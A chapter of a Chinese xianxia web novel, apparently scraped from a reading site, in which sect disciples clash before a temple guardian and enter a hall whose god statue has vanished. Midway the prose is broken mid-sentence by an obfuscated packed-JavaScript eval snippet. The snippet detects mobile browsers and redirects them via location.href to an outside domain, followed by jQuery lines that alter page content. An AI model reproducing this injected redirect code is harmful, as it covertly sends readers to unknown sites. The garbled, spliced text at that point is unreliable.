凤朝辞思及楼观鹤的交代,也没什么再争执的心思,不甘心瞥了他俩一眼,“算了,当我大人有大量,今天就放你们一马。”
他说完,看见谢玹两人俱一头雾水的样子,忽然觉得自己真是脑抽了,居然会跟这两个废物较劲,简直是浪费时间。
守殿弟子这时走了过来,他出现的悄无声息,一身素净灰袍,五官平淡无奇,不高不矮,不胖不瘦,腰配一柄漆黑的乌木剑,目光沉静。
除开谢折衣外,燕溪山与凤朝辞都未察觉这人是何时靠过来的,尤其是凤朝辞,霎时一惊,有人近身自己居然毫无所觉。
不过他旋即反应过来,灰衣道袍乌木剑,面前这人应当是三清殿的守殿弟子。
三清殿在青莲宗的地位极为特殊,坐落于主峰之巅,白玉为阶,青莲作檐。四角悬着红绳铃铛,风过时清音袅袅,与天地共鸣。
方圆百里以十万大山为基,布九转青莲大阵,聚山川灵秀,承天地造化,是青莲道人专为供奉真神所立之神殿。
也是青莲道人……最后坐化之地。
自青莲道人死后,其座下一脉世代守于三清殿暗处,不属青莲宗任何一座势力,无名无姓,无有归处,又称三清一脉。
自真神陨落后,三清殿少有人踏足,凤朝辞这些年轻一代的弟子更是从未踏足过三清殿,也就一时忘了还有守殿弟子的存在。
不过能作为三清殿守殿弟子,实力定然不俗。
“见过师兄。”
谢玹三人都乖乖行了一礼。
这名守殿弟子,眼神淡淡飘过谢玹三人,等到了谢玹身上时停顿片刻。
谢玹察觉到这人的目光,疑惑抬头,对上那双古井无波的眼睛,就听他问:“你方才看见我了?”
“啊?什么?师兄你不是突然出现的吗?”谢玹表面装作一脸迷茫的看着他,心下却感叹这人当真是敏锐。
守殿弟子定定看他一眼,还未说什么,旁边的凤朝辞忍不住嘲讽了一句,“师兄也是抬举他了,就谢玹这草包能发现什么?多半是方才不知道在到处乱看什么,叫师兄误会了。”
谢玹第一次觉着凤朝辞骂的还挺好听,连连点头,“对对对,就是这样。”
这位守殿弟子也不知信没信,静静看了谢折衣片刻,最终移过视线,看向一旁凤朝辞:“三清殿前,戒争斗之仪。你方才犯禁,按门规,应禁灵脉一月,我念你初犯,便减为十日,望你能静心反思。”
凤朝辞没想到这还能惹火上身,也是一愣,“等等,我刚才都没有真的动手,这也能算?””
可惜守殿弟子无动于衷,十分之冷酷地点头:“算。”
“噗——哈哈哈哈叫你嚣张,在三清殿还敢这么放肆,这下踢到铁板了吧。”
没等凤朝辞抗议,一旁的燕溪山直接就笑出了声,他早就看这姓凤的不顺眼,如今看他倒霉,终于是痛快了,恨不得当场为这位守殿师兄鼓掌喝彩。
谢玹也乐意看这目中无人的小公子吃瘪,不过他不像燕溪山那么直接,毕竟当着这位守殿师兄的面不好笑的那么猖狂,只勉强压住上扬的唇角,做出一副严肃的样子附和道:
“师兄说的对!罚!该罚!”
但他这样故意做作的模样更刺激人,凤朝辞一下炸毛了,“你们敢笑我!”
气急之下就要拔剑,结果一拔……没拔出来。
凤鸣剑纹丝不动待在鞘中,却见那位守殿弟子方才隔空一点,凤朝辞眉心凭空浮现一枚朱色莲花纹,周身灵力霎时封禁。
灵力都没了,也就自然拔不出剑。
凤朝辞没想到这位师兄说动手就动手,凤鸣剑在手中如一块废铁,往日充沛的灵力此时如死水,再看着旁边燕溪山谢玹两人看好戏的神色,他整个人都不好了,大为不服:
“凭什么只有我一个人被罚,旁边那两个人合着我欺负我,师兄你没看见吗?!”
守殿弟子:“他二人方才没有动手。”
凤朝辞暴躁了:“可他们动嘴了啊!”
守殿弟子:“这里只规定了禁止私下动手,没说不能动嘴。”
凤朝辞咬牙:“这到底哪来的什么破规矩。”
怎么专门像跟他过不去!
可即便他再不服,守殿弟子始终无动于衷,除了最开始看向谢折衣的那一眼略带疑惑,其余时刻都是古板到木讷的表情,毫无人气儿。
等把凤朝辞灵脉封禁后,他就如完成任务般又悄无声息没了身影,但三人都知道这位守殿弟子肯定就隐在暗处的一角。
凤朝辞在他离开后,仍不死心,手放在凤鸣剑上握得发紫,浑身灵力紧紧被禁锢。
谢折衣啧啧两声,“大天才,别费劲了,你拔不出来的,这禁灵咒除非是你修为比他高,要不然白折腾。”
凤朝辞狠狠瞪他一眼:“关你什么事!”
谢折衣摊手:“哦,行,算我多管闲事儿,你自个儿折腾吧,这禁灵术你越折腾等会儿反噬的越厉害。”
凤朝辞这下诧异看他一眼:“你这种不学无术的家伙居然还能知道禁灵术?”
禁灵术并不常见,连凤朝辞也是无意间在凤氏珍藏的古籍中偶然看见才了解到有这么个秘术。
其本为青莲道人所创,乃是因其心性慈悲,即便是面对恶徒也不忍取其性命,便偶得巧思创下此术,可禁人灵脉使其如凡人,但只要其诚心悔改向善,也能解咒令其恢复修为,却不知何原因,至今只传承于三清一脉,外人也便渐渐不得而知。
至于谢折衣他为什么知道。
谢折衣抬眸,看了眼四角屋檐垂下的青铜铃铛,百里大阵汇聚灵力于半空如九瓣莲花盛开。
禁灵咒、青铜铃、青莲大阵、青莲道人……
他好像,知道是谁了。
这禁灵咒当时还是他提出来的。
只是那时的他早已由仙堕魔,满心仇恨,说的不是禁灵咒,而是灭灵咒。
灭灵咒,直接断其灵脉,毁其神魂,灭其灵识,死的不能再痛苦,灭的不能再干净
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788675|174897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,是一种由谢折衣首创,且极其残忍的咒术。
青莲道人自然不可能采用灭灵咒,但他却从中得了启发,创下了禁灵咒,只是禁灵咒到底与灭灵咒同出一源,若被有心之人拿去容易生出祸端,也就渐渐不得为外人可知。
当然谢折衣不可能直接告诉凤朝辞:这禁灵咒还有他一份力呢,他还能不知道吗?
他只能拉出他那便宜爹来扯幌子了:“我爹那里一堆有的没的秘籍,谁知道我哪天睡觉垫桌脚的时候扯出来看见了?”
呵,瞎猫碰上死耗子,凤朝辞只觉果不其然,用这么珍贵的秘籍垫桌角的事情,也就谢玹这种草包能干出来。
跟这种草包走在一起对他简直是一种侮辱!
越想越憋屈,不过他这次学乖了,没有动手,只是翻了个白眼,理都不想再理这两个草包,直接朝前推开了三清殿门。
-
门开了。
青色灵力随着两扇门缝隙扩大的瞬间朝着两边翻涌。
待看清殿内景象时,三人齐齐一顿。
三清殿,又名三清神殿,而言及神,此世万万年间,唯有一位真神。
古有言:“香之为用从上古矣。所以奉神明,可以达蠲洁。”
自古祭神,以长明烛。
自古奉神,以九莲花。
其余果,水,香,财尽皆陈于供台。
千年前,在谢折衣还在云阳谢氏时,几乎每年谢氏全族都会举行一次大型祈神仪式,所有人必须参加,其场面之浩大是后世之人难以想象的。
上至七大世家,下至平民百姓,每至神临之日,香火不绝,祭典无数。
而在神陨之后,渐渐的才未有那般狂热,只是提及真神二字,仍不受控制地战栗。
大殿两侧是绵延不绝的长明灯海,上千盏青铜烛台呈九转青莲阵型排列,每盏烛台都铸成九朵莲瓣盛开的形态。
在烛海尽头,是一盏与众不同的琉璃莲灯,供奉在供案的正中间。
而供台之后,本应伫立神像的地方此刻空荡荡一片,什么都没有。
谢折衣怔怔顿足,他从绵绵不绝的长明灯一路看去,直至看见本应伫立神像的地方空荡一片,心猛地一沉。
“没有神像……”
他难得神色迷茫,语气惶惶。
在天元阁看见真神陨落的消息时,他便不死心翻阅了所有记载真神事迹的神历。
其中有提到,千年前在魔头谢折衣身死道消后的第三年,天地万物未启智的走兽飞禽齐齐朝神域方向跪拜哀鸣,同时此界所有的神像在某一刻齐齐裂开粉碎成灰烬。
万物哀鸣,神像泯灭,同时所有人不一而同如得到启示一般脑海中浮现出一个念头:真神陨落了。
即便早就已经在神历中看见了这段记载,但实实在在看见湮灭不复存在的神像,谢折衣仍觉出一丝不真实感。
真神陨落,怎么可能会陨落呢,明明他都已经把那个……这世上还有什么能威胁到那位尊神……